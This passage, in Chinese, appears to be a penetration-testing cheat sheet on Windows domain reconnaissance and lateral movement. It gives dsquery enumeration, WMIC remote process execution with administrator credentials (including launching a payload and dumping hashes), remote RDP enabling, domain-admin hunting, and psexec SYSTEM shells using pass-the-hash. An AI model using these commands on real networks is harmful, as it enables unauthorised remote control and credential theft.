· dsquery subnet 檢視到當前域所在的網段

· dsquery site 檢視域內所有的web站點

· dsquery server 檢視當前域中的所有伺服器(應該是指域控)

· dsquery user domainroot -name admin* -limit 240 查詢前240個以admin開頭的使用者名稱

1.12. WMIC套件使用 1.12.1. 其實,上面基礎工具能幹的事情,wmic全部能幹,且過之不及],在操作遠端時,如果遇到’RPC 服務不可用’直接把機器名換成ip即可, 別看這麼多,我們實戰用的最多的可能就是遠端執行及遠端開啟rdp了,如,遠端導hash,遠端執行payload… · 遠端過程呼叫(RPC),遠端過程呼叫可完成網路環境下的物件之間的訊息傳遞工作。第二種方式是共有儲存器方式傳遞訊息。

1.12.2. 查詢當前及遠端機器的程序資訊

· wmic process list brief

• 程序列表簡報

· wmic process list brief /every:1

• 每隔一秒重新整理一次系統程序

· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"[email protected]#123" process list brief

1.12.3. 查詢當前及遠端機器上指定程序的詳細資訊
· wmic process where name='calc.exe' list brief

· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"[email protected]#123" process where name='calc.exe' list brief

1.12.4. 刪除當前及遠端機器中的指定程序
· wmic process where name='calc.exe' delete

· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"[email protected]#123" process where name='calc.exe' delete

1.12.5. 在當前機器中執行指定程式
· wmic process call create "calc.exe"

1.12.6. 通過smb在遠端機器上執行指定程式,如,在本地讓遠端機器上線,在抓取目標系統使用者的hash,等等...
· wmic /node:192.168.3.122 /user:klionsec\administrator /password:"[email protected]#123" process call create "web_delivery payload"

1.12.7. 終止執行某程式
· wmic process where name="calc.exe" call terminate

· wmic /node:192.168.3.122 /user:klionsec\administrator
/password:"[email protected]#123" process where name="calc.exe" call
terminate

1.12.8. 開啟,關閉當前機器的rdp
· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 1 開啟

· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 0 關閉

1.12.9. 開啟,關閉遠端機器的RDP
· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"[email protected]#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 1

· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"[email protected]#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 0

1.12.10. 查詢當前機器已安裝的補丁
· wmic qfe get description,installedOn,HotFixID,InstalledBy

· wmic qfe get CSName,Description,hotfixid

1.12.11. 查詢當前機器自啟動程式有哪些
· wmic startup list full

· wmic STARTUP GET Caption,Command,User

1.12.12. 查詢當前機器所安裝的所有軟體名
· wmic product get name /value

· wmic product get name,version

1.12.13. 刪除當前機器中指定名稱的軟體
· wmic product where name="Google Update Helper" call uninstall
/nointeractive

1.12.14. 所有的碟符及剩餘空間
· wmic logicaldisk get description,name

· wmic logicaldisk where drivetype=3 get
name,freespace,systemname,filesystem,volumeserialnumber

1.12.15. 簡要配置資訊
· wmic computersystem list brief /format:list

1.12.16. 作業系統位數
· wmic cpu get DataWidth /format:list

1.12.17. 使用者及組資訊
· wmic useraccount list brief /format:list

· wmic group list brief /format:list

1.12.18. 所有使用者的詳細資訊
· wmic useraccount list brief

1.12.19. 所有服務的詳細狀態
· wmic service list brief

1.12.20. 指定域的域管有哪些
· wmic /node:rootkit path win32groupuser where
(groupcomponent="win32group.name=\"adm\",domain=\"rootkit\"")

1.12.21. 檢視誰登陸過指定機器,適合用來找域管程序
· wmic /node:192.168.3.23 path win32_loggedonuser get antecedent

1.12.22. 查詢本機共享
· wmic share get name,path,status

1.13. pstools
1.13.1. 彈回一個system許可權的cmdshell
· psexec /accepteula \192.168.3.122 -u klionsec\administrator -p
"[email protected]#123" -s -c -f "cmd.exe"

· psexec /accepteula \192.168.3.23 -u klionsec\administrator -p
lm:ntlm -s -c -f "cmd.exe"

•	適合03以下的系統